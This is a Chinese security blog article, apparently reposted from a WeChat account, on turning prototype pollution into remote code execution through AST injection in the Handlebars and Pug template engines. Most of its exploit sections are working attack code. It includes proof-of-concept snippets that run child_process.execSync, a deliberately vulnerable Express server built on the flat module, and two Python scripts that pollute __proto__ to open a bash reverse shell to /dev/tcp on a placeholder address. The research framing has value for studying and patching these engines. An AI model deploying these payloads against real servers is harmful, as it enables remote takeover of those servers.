利用抽象语法树注入从原型污染到RCE研究

admin 2025年1月8日14:51:44评论5 views字数 9522阅读31分44秒阅读模式

本文介绍如何使用一种称为 AST 注入的新技术在两个著名的模板引擎中RCE。

AST 注入

什么是AST

[AST] https://en.wikipedia.org/wiki/Abstract_syntax_treeAbstract_syntax_tree

NodeJS中的AST

利用抽象语法树注入从原型污染到RCE研究

在NodeJS中,AST经常被在JS中使用,作为template engines (引擎模版)和typescript等。对于引擎模版,结构如上图所示⬆️。

利用抽象语法树注入从原型污染到RCE研究

如果在JS应用中存在原型污染漏洞,任何 AST 都可以通过在Parser(解析器)Compiler(编译器)过程中插入到函数中。

在这里,你可以在没有过滤、没有经过lexer(分析器)parser(解析器)验证的输入(没有被适当的过滤)的情况下插入AST。

然后我们可以向Parser(编译器)非预期的输入。

下面就是展示如何实际中在handlebarspug使用AST注入执行任意命令

Handlebars

handlebars是除 ejs 之外最常用的template engine(模板引擎)

在较新的版本中是较为安全的,即使可以插入任何模板,也无法执行任何命令。

如何探测

const Handlebars = require('handlebars');const source = `Hello {{ msg }}`;const template = Handlebars.compile(source);console.log(template({"msg": "NEURON"})); // Hello NEURON

在开始之前,这是如何在handlebars使用模板的方法。

Handlebar.compile 函数将字符串转换为模板函数并传递对象因子以供调用。

const Handlebars = require('handlebars');Object.prototype.pendingContent = `<script>alert(origin)</script>`const source = `Hello {{ msg }}`;const template = Handlebars.compile(source);console.log(template({"msg": "NEURON"})); // <script>alert(origin)</script>Hello NEURON

在这里,我们可以使用原型污染来影响编译过程。

你可以插入任意字符串payloadObject.prototype.pendingContent中决定你想要的攻击。

当原型污染存在于黑盒环境中时,这使你可以确认服务器正在使用handlebars引擎。

<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/javascript-compiler.js -->...appendContent: function appendContent(content) {  if (this.pendingContent) {    content = this.pendingContent + content;  } else {    this.pendingLocation = this.source.currentLocation;  }  this.pendingContent = content;},pushSource: function pushSource(source) {  if (this.pendingContent) {    this.source.push(this.appendToBuffer(this.source.quotedString(this.pendingContent), this.pendingLocation));    this.pendingContent = undefined;  }  if (source) {    this.source.push(source);  }}...

这是由javascript-compiler.jsappendContent函数完成。如果存在 pendingContent,则附加到内容并返回。

pushSource使 pendingContent的值为 undefined,防止字符串被多次插入。

Exploit

利用抽象语法树注入从原型污染到RCE研究

handlebars的工作原理如上图所示。

在经过lexer(分析器)parser(解析器)生成AST之后,它传递给 compiler.js 这样我们就可以运行带有一些参数的模板函数编译器(template function compiler generated)。

它就会返回像“Hello posix”这样的字符串(当 msg 是 posix 时)。

<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js -->case 36:    this.$ = { type: 'NumberLiteral', value: Number($$[$0]), original: Number($$[$0]), loc: yy.locInfo(this._$) };    break;

handlebars 中的parser(解析器)通过Number构造函数强制类型为 NumberLiteral的节点的值始终为数字。

然而,在这里你可以使用原型污染去插入一个非数字型的字符串。

<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/base.js -->function parseWithoutProcessing(input, options) {  // Just return if an already-compiled AST was passed in.  if (input.type === 'Program') {    return input;  }  _parser2['default'].yy = yy;  // Altering the shared object here, but this is ok as parser is a sync operation  yy.locInfo = function (locInfo) {    return new yy.SourceLocation(options && options.srcName, locInfo);  };  var ast = _parser2['default'].parse(input);  return ast;}function parse(input, options) {  var ast = parseWithoutProcessing(input, options);  var strip = new _whitespaceControl2['default'](options);  return strip.accept(ast);}

首先来看编译函数,它支持两种输入方式,AST 对象模板字符串

input.typeProgram时,虽然输入值实际上是字符串。Parser 认为它是已经被parser.js 解析过的AST了,然后将其发送给而compiler不做任何处理。

<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js -->...accept: function accept(node) {    /* istanbul ignore next: Sanity code */    if (!this[node.type]) {        throw new _exception2['default']('Unknown type: ' + node.type, node);    }    this.sourceNode.unshift(node);    var ret = this[node.type](node);    this.sourceNode.shift();    return ret;},Program: function Program(program) {    console.log((new Error).stack)    this.options.blockParams.unshift(program.blockParams);    var body = program.body,        bodyLength = body.length;    for (var i = 0; i < bodyLength; i++) {        this.accept(body[i]);    }    this.options.blockParams.shift();    this.isSimple = bodyLength === 1;    this.blockParams = program.blockParams ? program.blockParams.length : 0;    return this;}...

compiler接收到 AST 对象(AST Object)(实际上是一个字符串)并将其传到 accept方法。

accept方法调用Compilerthis[node.type]

然后获取 ASTbody 属性并将其用于构造函数。

const Handlebars = require('handlebars');Object.prototype.type = 'Program';Object.prototype.body = [{    "type": "MustacheStatement",    "path": 0,    "params": [{        "type": "NumberLiteral",        "value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"    }],    "loc": {        "start": 0,        "end": 0    }}];const source = `Hello {{ msg }}`;const template = Handlebars.precompile(source);console.log(eval('(' + template + ')')['main'].toString());/*function (container, depth0, helpers, partials, data) {    var stack1, lookupProperty = container.lookupProperty || function (parent, propertyName) {        if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {            return parent[propertyName];        }        return undefined    };    return ((stack1 = (lookupProperty(helpers, "undefined") || (depth0 && lookupProperty(depth0, "undefined")) || container.hooks.helperMissing).call(depth0 != null ? depth0 : (container.nullContext || {}), console.log(process.mainModule.require('child_process').execSync('id').toString()), {        "name": "undefined",        "hash": {},        "data": data,        "loc": {            "start": 0,            "end": 0        }    })) != null ? stack1 : "");}*/
所以,你可以构造一个像这样的攻击。

如果您已经通过parser,请指定一个无法分配给 NumberLiteral 值的字符串。

但是注入 AST 之后,我们可以将任何代码插入到函数中。

Example

const express = require('express');const { unflatten } = require('flat');const bodyParser = require('body-parser');const Handlebars  = require('handlebars');const app = express();app.use(bodyParser.json())app.get('/', function (req, res) {    var source = "<h1>It works!</h1>";    var template = Handlebars.compile(source);    res.end(template({}));});app.post('/vulnerable', function (req, res) {    let object = unflatten(req.body);    res.json(object);});app.listen(3000);

使用具有原型污染漏洞flat模块配置一个有漏洞的服务器示例。

利用抽象语法树注入从原型污染到RCE研究

flat是一个受欢迎的模块,每周有 461 万次下载

import requestsTARGET_URL = 'http://xxx.com:3000'# make pollutionrequests.post(TARGET_URL + '/vulnerable', json = {    "__proto__.type": "Program",    "__proto__.body": [{        "type": "MustacheStatement",        "path": 0,        "params": [{            "type": "NumberLiteral",            "value""process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/xxx.xx.xx.xx/3333 0>&1'`)"        }],        "loc": {            "start": 0,            "end": 0        }    }]})# executerequests.get(TARGET_URL)

反弹shell:

利用抽象语法树注入从原型污染到RCE研究

在获取反弹的shell之后,我们可以执行任意系统命令!

pug

pug是一个先前以jade名称开发并重命名的模块。据统计,它是 nodejs中第四大最受欢迎的模板引擎

如何探测

const pug = require('pug');const source = `h1= msg`;var fn = pug.compile(source);var html = fn({msg: 'It works'});console.log(html); // <h1>It works</h1>

pug中使用模板的常见方法如上所示。

pug.compile 函数将字符串转换为模板函数并传递对象以供调用。

const pug = require('pug');Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};const source = `h1= msg`;var fn = pug.compile(source, {});var html = fn({msg: 'It works'});console.log(html); // <h1>It works<script>alert(origin)</script></h1>

这是一种利用原型污染在黑盒环境下探测使用pug模板引擎的方法。

当你将 AST 插入Object.prototype.block时,compiler(编译器)通过引用 val 将其添加到缓冲区中。

switch (ast.type) {    case 'NamedBlock':    case 'Block':        ast.nodes = walkAndMergeNodes(ast.nodes);        break;    case 'Case':    case 'Filter':    case 'Mixin':    case 'Tag':    case 'InterpolatedTag':    case 'When':    case 'Code':    case 'While':        if (ast.block) {        ast.block = walkAST(ast.block, before, after, options);        }        break;    ...

ast.typeWhile时,ast.block调用walkASK(如果值不存在,则引用prototype) 如果模板引用参数中的任何值,则While 节点始终存在,因此可靠性被认为是相当高的。

事实上,如果开发人员不会从模板中的参数中引用任何值 。

因为他们一开始并不会使用任何模板引擎。

Exploit

利用抽象语法树注入从原型污染到RCE研究

pug工作原理如上图所示。

handlebars不同的是,每个过程都被分成一个单独的模块。

pug-parser 生成的 AST被传递给 pug-code-gen并制成一个函数。最后,它将被执行。

<!-- /node_modules/pug-code-gen/index.js -->if (debug && node.debug !== false && node.type !== 'Block') {    if (node.line) {        var js = ';pug_debug_line = ' + node.line;        if (node.filename)            js += ';pug_debug_filename = ' + stringify(node.filename);        this.buf.push(js + ';');    }}

pug 的compiler(编译器)中,有一个变量存放着名为 pug_debug_line的行号,用于调试。

如果 node.line 值存在,则将其添加到缓冲区,否则传递。

对于使用 pug-parser 生成的 ASTnode.line 值始终指定为整数。

但是,我们可以通过 AST注入node.line 中插入一个非整型的字符串并导致任意代码执行。

const pug = require('pug');Object.prototype.block = {"type": "Text", "line": "console.log(process.mainModule.require('child_process').execSync('id').toString())"};const source = `h1= msg`;var fn = pug.compile(source, {});console.log(fn.toString());/*function template(locals) {    var pug_html = "",        pug_mixins = {},        pug_interp;    var pug_debug_filename, pug_debug_line;    try {;        var locals_for_with = (locals || {});        (function (console, msg, process) {;            pug_debug_line = 1;            pug_html = pug_html + "u003Ch1u003E";;            pug_debug_line = 1;            pug_html = pug_html + (pug.escape(null == (pug_interp = msg) ? "" : pug_interp));;            pug_debug_line = console.log(process.mainModule.require('child_process').execSync('id').toString());            pug_html = pug_html + "ndefineu003Cu002Fh1u003E";        }.call(this, "console" in locals_for_with ?            locals_for_with.console :            typeof console !== 'undefined' ? console : undefined, "msg" in locals_for_with ?            locals_for_with.msg :            typeof msg !== 'undefined' ? msg : undefined, "process" in locals_for_with ?            locals_for_with.process :            typeof process !== 'undefined' ? process : undefined));;    } catch (err) {        pug.rethrow(err, pug_debug_filename, pug_debug_line);    };    return pug_html;}*/

生成函数的示例。

你可以看到 Object.prototype.line值插入在 pug_debug_line 定义的右侧。

const pug = require('pug');Object.prototype.block = {"type": "Text", "line": "console.log(process.mainModule.require('child_process').execSync('id').toString())"};const source = `h1= msg`;var fn = pug.compile(source);var html = fn({msg: 'It works'});console.log(html); // "uid=0(root) gid=0(root) groups=0(root)nn<h1>It worksndefine</h1>"

所以,你可以构造一个像这样的攻击。

通过在 node.line值中指定一个字符串,它总是通过解析器定义为数字。

所以,任何命令都可以插入到函数中。

Example

const express = require('express');const { unflatten } = require('flat');const pug = require('pug');const app = express();app.use(require('body-parser').json())app.get('/', function (req, res) {    const template = pug.compile(`h1= msg`);    res.end(template({msg: 'It works'}));});app.post('/vulnerable', function (req, res) {    let object = unflatten(req.body);    res.json(object);});app.listen(3000);

handlebars的例子中,flat 用于配置服务器。模板引擎已改为 pug

import requestsTARGET_URL = 'http://xxx.com:3000'# make pollutionrequests.post(TARGET_URL + '/vulnerable', json = {    "__proto__.block": {        "type": "Text",         "line""process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/xxx.xx.xx.xx/3333 0>&1'`)"    }})# executerequests.get(TARGET_URL)

利用抽象语法树注入从原型污染到RCE研究

我们可以在 block.line中插入任何代码,并获得一个shell。

结论

我描述了如何通过JS 模板引擎上的AST 注入去执行任意命令, 但事实上这些部份是很难完全修复的。

原文始发于微信公众号(SAINTSEC):利用抽象语法树注入从原型污染到RCE研究

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月8日14:51:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用抽象语法树注入从原型污染到RCE研究https://cn-sec.com/archives/3605463.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息